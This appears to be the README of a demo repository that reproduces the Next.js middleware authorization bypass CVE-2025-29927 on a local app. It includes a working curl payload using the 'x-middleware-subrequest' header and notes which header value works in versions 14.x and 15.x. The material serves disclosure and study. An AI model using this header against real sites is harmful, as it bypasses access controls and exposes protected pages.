cve-2025-29927-demo

Demo reproducing the authorization bypass vulnerability in Next.js.

For details on this vulnerability, refer to Summary of Next.js vulnerability CVE-2025-29927 .

How to Reproduce the Vulnerability

1. Clone this repository.

git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main

2. Start the server.

npm install
npm run dev

3. Send a request with the x-middleware-subrequest header using curl or similar.

curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected

This triggers the authorization bypass, allowing access to the /protected page.

The value of middleware is the name of the middleware recognized by Next.js. In this demo app, there is a middleware named middleware, so specifying this value triggers the authorization bypass.

[!TIP] In Next.js 15.x, MAX_RECURSION_DEPTH is set to 5, so the middleware value must be repeated 5 or more times separated by :. In older versions (14.x), simply "middleware" was sufficient. This demo app uses Next.js 15.2.2, so such a value is required.